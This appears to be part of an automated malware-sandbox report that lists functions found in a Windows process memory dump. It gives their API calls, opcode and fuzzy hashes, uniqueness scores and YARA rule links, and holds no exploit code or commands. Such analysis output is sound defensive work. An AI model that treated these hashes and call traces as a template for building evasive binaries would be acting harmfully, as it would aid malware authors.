Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Time$AddressFeatureFilePresentProcProcessorSystem___raise_securityfailure__crt_fast_encode_pointer
String ID: GetSystemTimePreciseAsFileTime
API String ID: 1438222602-595813830
Opcode ID: 2798810f7b8e33ff20c6aae8a02a4edcece5292559b835388c0c4182279a8d91
Instruction ID: 6cc721658f874fae87c000c080d9a265876468eaab10bc4d36d21103bc0ae27c
Opcode Fuzzy Hash: 2798810f7b8e33ff20c6aae8a02a4edcece5292559b835388c0c4182279a8d91
Instruction Fuzzy Hash: 16E02B31B48228ABD3146F60AC06DBE7BA4DF54B00B81027CFC1557690DF611D4296D5

Uniqueness

Uniqueness Score: 0.93%

Function 0010D25F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0010D274

Part of subcall function 0010D1F0: try_get_first_available_module.LIBVCRUNTIME ref: 0010D227
Part of subcall function 0010D1F0: GetProcAddress.KERNEL32(00000000,0016990C,00000000,?,?,0010D2EF,00000002,FlsGetValue,001457F0,001457F8,00000000,?,00106B2C,?,0005777B,00105A44), ref: 0010D236
Part of subcall function 0010D1F0: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 0010D243
Part of subcall function 0010D1F0: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 0010D251

Strings

FlsAlloc, xrefs: 0010D26D

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: __crt_fast_encode_pointer$AddressProctry_get_first_available_moduletry_get_function
String ID: FlsAlloc
API String ID: 3494299431-671089009
Opcode ID: 236bec8d0356691ac28f9b276d47d5361a8932364d3b852a9495d89ab3a512d0
Instruction ID: b759b919dee892fe0049fb3ece1003a83a49fb17d57b6127401917239582b22d
Opcode Fuzzy Hash: 236bec8d0356691ac28f9b276d47d5361a8932364d3b852a9495d89ab3a512d0
Instruction Fuzzy Hash: 35D0C231680724A3C20023C4BC06B99BA449B00BB3F804062FA48515A287A1580052C1

Uniqueness

Uniqueness Score: 0.79%

Function 001216CC, Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 0012129F: GetOEMCP.KERNEL32(00000000,?,?,00121528,?), ref: 001212CA
Part of subcall function 0012129F: GetACP.KERNEL32(00000000,?,?,00121528,?), ref: 001212E1

IsValidCodePage.KERNEL32(-00000030,00000000,?,00000001,?,?,0012156D,?,00000000,00000000,00000000,00000001), ref: 00121740
GetCPInfo.KERNEL32(00000000,0012156D,?,?,0012156D,?,00000000,00000000,00000000,00000001), ref: 00121753

Part of subcall function 00121377: GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,00000000,00000000), ref: 0012139C

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Info$CodeFeaturePagePresentProcessorValid___raise_securityfailure
String ID:
API String ID: 3308807869-0
Opcode ID: 9445702d61596dcebd507c9d2f19c261277daeb73ed1dc6e65eb4d77a481864d
Instruction ID: 6581c97acd93cfef6aa811965ca63006bb3c342f1498237f8e6c399216d76e30
Opcode Fuzzy Hash: 9445702d61596dcebd507c9d2f19c261277daeb73ed1dc6e65eb4d77a481864d
Instruction Fuzzy Hash: 70515671E04265BFDB24CF75E8806BBBBF5EFA1310F24406ED0968B291E7359952CB90

Uniqueness

Uniqueness Score: 0.06%

Function 0006B150, Relevance: 3.1, APIs: 2, Instructions: 94UNIQUE

Download Yara Rule

APIs

Part of subcall function 00053470: __CxxThrowException@8.LIBVCRUNTIME ref: 0005349D
Part of subcall function 00053470: __CxxThrowException@8.LIBVCRUNTIME ref: 000534E2
Part of subcall function 00053470: ___std_exception_copy.LIBVCRUNTIME ref: 0005350F

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

std::locale::_Init.LIBCPMT ref: 0006B1DE

Part of subcall function 000D977E: __EH_prolog3.LIBCMT ref: 000D9785
Part of subcall function 000D977E: std::_Lockit::_Lockit.LIBCPMT ref: 000D9790
Part of subcall function 000D977E: std::locale::_Setgloballocale.LIBCPMT ref: 000D97AB
Part of subcall function 000D977E: std::_Lockit::~_Lockit.LIBCPMT ref: 000D9801

Part of subcall function 0006C220: std::_Lockit::_Lockit.LIBCPMT ref: 0006C260
Part of subcall function 0006C220: std::_Lockit::_Lockit.LIBCPMT ref: 0006C282
Part of subcall function 0006C220: std::_Lockit::~_Lockit.LIBCPMT ref: 0006C2A2
Part of subcall function 0006C220: __Getctype.LIBCPMT ref: 0006C341
Part of subcall function 0006C220: std::_Facet_Register.LIBCPMT ref: 0006C360
Part of subcall function 0006C220: std::_Lockit::~_Lockit.LIBCPMT ref: 0006C380

std::ios_base::_Addstd.LIBCPMT ref: 0006B270

Part of subcall function 000D9D84: std::_Lockit::_Lockit.LIBCPMT ref: 000D9D8D
Part of subcall function 000D9D84: std::_Lockit::~_Lockit.LIBCPMT ref: 000D9DC8

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Throw$std::locale::_$AddstdFacet_GetctypeH_prolog3InitRegisterSetgloballocale___std_exception_copystd::ios_base::_
String ID:
API String ID: 4155817461-0
Opcode ID: a0257aeb1904aa2cae4eec673d3900b35e42dc9589133640ac4342a5d356116b
Instruction ID: 627e3a35734cff6931e23e80401a5aa506a9994dccc3ed900d7e63739a31519b
Opcode Fuzzy Hash: a0257aeb1904aa2cae4eec673d3900b35e42dc9589133640ac4342a5d356116b
Instruction Fuzzy Hash: 7F318DB0A00605EFE700DF65C859B9ABBF4FB44718F108229E4059BB81D7B6B964CBC0

Uniqueness

Uniqueness Score: 100.00%

Function 0012150B, Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 0011E008: GetLastError.KERNEL32(B2AB117A,ios_base::failbit set,0010F5D5,0016C2A8,0000000C,?,00000001,?,0006B1C9,00000000,00000000,DB2C627E), ref: 0011E00C
Part of subcall function 0011E008: _free.LIBCMT ref: 0011E03F
Part of subcall function 0011E008: _free.LIBCMT ref: 0011E067
Part of subcall function 0011E008: SetLastError.KERNEL32(00000000,?,?,?,?,00000000,?,0006B1C9,00000000,00000000,DB2C627E), ref: 0011E074
Part of subcall function 0011E008: SetLastError.KERNEL32(00000000,?,?,?,?,00000000,?,0006B1C9,00000000,00000000,DB2C627E), ref: 0011E080
Part of subcall function 0011E008: _abort.LIBCMT ref: 0011E086

Part of subcall function 0012162A: _abort.LIBCMT ref: 0012165C
Part of subcall function 0012162A: _free.LIBCMT ref: 00121690

Part of subcall function 0012129F: GetOEMCP.KERNEL32(00000000,?,?,00121528,?), ref: 001212CA
Part of subcall function 0012129F: GetACP.KERNEL32(00000000,?,?,00121528,?), ref: 001212E1

Part of subcall function 0011D9CA: RtlAllocateHeap.NTDLL(00000000,?,00000004,?,0011D976,?,00000000,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011D9FC

_free.LIBCMT ref: 00121583

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

Part of subcall function 001216CC: IsValidCodePage.KERNEL32(-00000030,00000000,?,00000001,?,?,0012156D,?,00000000,00000000,00000000,00000001), ref: 00121740
Part of subcall function 001216CC: GetCPInfo.KERNEL32(00000000,0012156D,?,?,0012156D,?,00000000,00000000,00000000,00000001), ref: 00121753

_free.LIBCMT ref: 001215B9

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: _free$ErrorLast$Heap_abort$AllocateCodeFreeInfoPageValid
String ID:
API String ID: 3617802294-0
Opcode ID: f696e0196b0a29c85a6de0b9d8022af2dd39a70212018b705dfe987ae3b09f41
Instruction ID: 0dd53bea8f8a23b2797ae5bf497b19c9e2ee9942cb559cd52564c12178d3d778
Opcode Fuzzy Hash: f696e0196b0a29c85a6de0b9d8022af2dd39a70212018b705dfe987ae3b09f41
Instruction Fuzzy Hash: 0131D831900118BFDB14DFA8F441BAD7BF5EFA5320F2541E9E8059B291EB719E91CB50

Uniqueness

Uniqueness Score: 0.14%

Function 0011CFD6, Relevance: 3.1, APIs: 2, Instructions: 77fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00051313,?,?,?,00000000), ref: 0011D071
GetLastError.KERNEL32(?,0011D512,?,?,?,?,?,?,?,?,?,00000000,0016C530,00000014,0010F980,00000000), ref: 0011D09A

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorFeatureFileLastPresentProcessorWrite___raise_securityfailure
String ID:
API String ID: 1509056032-0
Opcode ID: 402ee445e03aa1db974703c57edfae221022500dd5f462b299cdb4a5dfff8ca2
Instruction ID: aebd1e76ae83ef1d6eaf3b52da9f4df2e488945245e730b1bc431f7227f3d9c2
Opcode Fuzzy Hash: 402ee445e03aa1db974703c57edfae221022500dd5f462b299cdb4a5dfff8ca2
Instruction Fuzzy Hash: 21217E356002199FCB19CF69D880AEAB7F9EB48341F1044A9E94AD7251D731A9C6CB60

Uniqueness

Uniqueness Score: 0.06%

Function 0011EF61, Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

__crt_fast_encode_pointer.LIBVCRUNTIME ref: 0011EFCE

Part of subcall function 0011EFFD: LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,?,00000000,00000000,?,0011EFA4,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue), ref: 0011F02F
Part of subcall function 0011EFFD: GetLastError.KERNEL32(?,0011EFA4,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000,00000364,?,0011E0DA), ref: 0011F03B
Part of subcall function 0011EFFD: LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0011EFA4,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000), ref: 0011F049
Part of subcall function 0011EFFD: FreeLibrary.KERNEL32(00000000,?,0011EFA4,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000,00000364), ref: 0011F06B

GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000,00000364,?,0011E0DA,00000000), ref: 0011EFC1

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Library$Load$AddressErrorFreeLastProc__crt_fast_encode_pointer
String ID:
API String ID: 3984727298-0
Opcode ID: 95af6dc02fe9041ff8b815b4f5eb0e2254eaa1d3e8af10a510c18d3e0f9ed2d0
Instruction ID: 60fabdd2f684b4706bbaff0cd42f4d1076439045dbdb963eb701e1492f036616
Opcode Fuzzy Hash: 95af6dc02fe9041ff8b815b4f5eb0e2254eaa1d3e8af10a510c18d3e0f9ed2d0
Instruction Fuzzy Hash: 9E11E733A002329F9F399EA8EC409EA73D5AB813607570230FC14AB284DB31EC8387D1

Uniqueness

Uniqueness Score: 0.53%

Function 00112287, Relevance: 3.0, APIs: 2, Instructions: 36COMMON

Download Yara Rule

APIs

RtlQueryPerformanceFrequency.NTDLL(?), ref: 0011229C
QueryPerformanceCounter.KERNEL32(?), ref: 001122AA

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: PerformanceQuery$CounterFrequency
String ID:
API String ID: 774501991-0
Opcode ID: 8064d015f91c121a6cbe1dbee3002a9fd5528e466f6f02691c0db1db22e3270a
Instruction ID: e411af9737d54517e8e6161df4a7a08a2dbdc7364f9f0084483bb2b4016b0965
Opcode Fuzzy Hash: 8064d015f91c121a6cbe1dbee3002a9fd5528e466f6f02691c0db1db22e3270a
Instruction Fuzzy Hash: 910119B0A082089FCF14CFA9ED4469E7BF9BB48310F14056AE81CD3660EB3099D4CB95

Uniqueness

Uniqueness Score: 1.79%

Function 00110889, Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 001218F4: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,001108A1,?,?,00110873), ref: 001218FD
Part of subcall function 001218F4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,001108A1), ref: 00121920
Part of subcall function 001218F4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,?,?,?,?,001108A1), ref: 00121946
Part of subcall function 001218F4: _free.LIBCMT ref: 00121959
Part of subcall function 001218F4: FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,?,001108A1,?,?,00110873), ref: 00121968

Part of subcall function 001108E2: _free.LIBCMT ref: 00110972
Part of subcall function 001108E2: _free.LIBCMT ref: 0011098C
Part of subcall function 001108E2: _free.LIBCMT ref: 00110997

_free.LIBCMT ref: 001108D0

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

_free.LIBCMT ref: 001108D7

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: _free$ByteCharEnvironmentFreeMultiStringsWide$ErrorHeapLast
String ID:
API String ID: 1376278516-0
Opcode ID: 55248a244038cfee9b88d70f9e371a20fb34e093b7340cd52a4cdbe1def7fade
Instruction ID: 9207c95944ac2307ed98b20b13e0be653a8b84a23a1c035384fe64b5377e98cd
Opcode Fuzzy Hash: 55248a244038cfee9b88d70f9e371a20fb34e093b7340cd52a4cdbe1def7fade
Instruction Fuzzy Hash: 60E02B62E0952051DA6F723E7C027DF02BA5BE6335F110336F0248A9C1EFE048C581E1

Uniqueness

Uniqueness Score: 0.14%

Function 00062195, Relevance: 3.0, APIs: 2, Instructions: 21comUNIQUE

Download Yara Rule

APIs

OleUninitialize.OLE32 ref: 000621A4
Wow64RevertWow64FsRedirection.KERNEL32(?,?,0016FBB0,0016FBB0,?,?), ref: 000621B1

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Wow64$FeaturePresentProcessorRedirectionRevertUninitialize___raise_securityfailure
String ID:
API String ID: 4083913054-0
Opcode ID: 2b9a333c6885c588cbc9e24e6b710a30ae737dbfa404c5cf18b1e73379542c99
Instruction ID: 46ea982f41cac7e73e3f95cd3181fe6e33891231aed020529bd7296ccb06ed91
Opcode Fuzzy Hash: 2b9a333c6885c588cbc9e24e6b710a30ae737dbfa404c5cf18b1e73379542c99
Instruction Fuzzy Hash: 28E0C276E0421C8FDB24DF64D895AEDB7B0FB4C311F4002AAE806A3701DB356A50CE91

Uniqueness

Uniqueness Score: 100.00%

Function 00106B42, Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 0010D25F: try_get_function.LIBVCRUNTIME ref: 0010D274

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00106B60

Part of subcall function 0010D310: try_get_function.LIBVCRUNTIME ref: 0010D325
Part of subcall function 0010D310: TlsSetValue.KERNEL32(00000000,?), ref: 0010D345

___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00106B6B

Part of subcall function 00106B75: ___vcrt_FlsFree.LIBVCRUNTIME ref: 00106B80

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Value___vcrt_try_get_function$Free___vcrt_uninitialize_ptd
String ID:
API String ID: 957299666-0
Opcode ID: e45709cd64eedeec207d3528b250f7c926104a4b84c828c9e1dcd327a2315f9f
Instruction ID: 15b5d44b8e0fc735264ad7a363c924920160c4e85f039e123d58192284042601
Opcode Fuzzy Hash: e45709cd64eedeec207d3528b250f7c926104a4b84c828c9e1dcd327a2315f9f
Instruction Fuzzy Hash: C9D0A9F930820118C808B6F03C22E8832646AB17743A0235AE0F4DB4C2EFE4C060A016

Uniqueness

Uniqueness Score: 0.83%

Function 00119642, Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00119718

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorFeatureFreeHeapLastPresentProcessor___raise_securityfailure_free
String ID:
API String ID: 4224107012-0
Opcode ID: 8067adedcb38b321830b59ad6ebc250dc96619e6104a3c3ad6400c03906c068b
Instruction ID: fb9d4d8c02f545c553d342b0b827656e3081080dd97a8bc64fc16ed3c26fedf9
Opcode Fuzzy Hash: 8067adedcb38b321830b59ad6ebc250dc96619e6104a3c3ad6400c03906c068b
Instruction Fuzzy Hash: 38416F72A10714CFCB18CF69D8949ADB7B2FF8D310B1581A9E515EB3A0D7719C81CB90

Uniqueness

Uniqueness Score: 0.14%

Function 00062610, Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 00062625

Part of subcall function 000619B0: Wow64DisableWow64FsRedirection.KERNEL32(?,DB2C627E,?,?), ref: 00061A1A
Part of subcall function 000619B0: CoInitialize.OLE32(00000000), ref: 00061A22
Part of subcall function 000619B0: OleUninitialize.OLE32 ref: 000621A4
Part of subcall function 000619B0: Wow64RevertWow64FsRedirection.KERNEL32(?,?,0016FBB0,0016FBB0,?,?), ref: 000621B1

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Wow64$Redirection$CommandDisableFeatureInitializeLinePresentProcessorRevertUninitialize___raise_securityfailure
String ID:
API String ID: 2745482258-0
Opcode ID: ce2220c2b03688606ce3e7bb152e90473db2aa765139caa111e16698f98c0332
Instruction ID: 3a13dc7312b862b65c0560445a7cc4ed98aa37e54352798d53675d78f228fa49
Opcode Fuzzy Hash: ce2220c2b03688606ce3e7bb152e90473db2aa765139caa111e16698f98c0332
Instruction Fuzzy Hash: AD31B4715043018BC704EF24EC56B9F77E5AF85304F50492DF485A7292DB74D955CBA3

Uniqueness

Uniqueness Score: 0.17%

Function 00061880, Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000019,00000000,00000000,?), ref: 000618D0

Part of subcall function 000913D0: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 000916FE

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: FeatureFolderIos_base_dtorPathPresentProcessor___raise_securityfailurestd::ios_base::_
String ID:
API String ID: 3830153180-0
Opcode ID: a866a40d0ee66f139a3be0370967010af97516fdd5987e5217a032029525bfc0
Instruction ID: 140766c851b891a29a93b9ee525397cbff5e328f12e352a05b27231325ee0efd
Opcode Fuzzy Hash: a866a40d0ee66f139a3be0370967010af97516fdd5987e5217a032029525bfc0
Instruction Fuzzy Hash: A631E435A002089BDB18DF60DC99BEEB7B6FF44714F54465CE806AB6C1DB746A44CBA0

Uniqueness

Uniqueness Score: 0.01%

Function 000C5810, Relevance: 1.6, APIs: 1, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000C5927

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionException@8FeaturePresentProcessorRaiseThrow___raise_securityfailure
String ID:
API String ID: 3939691812-0
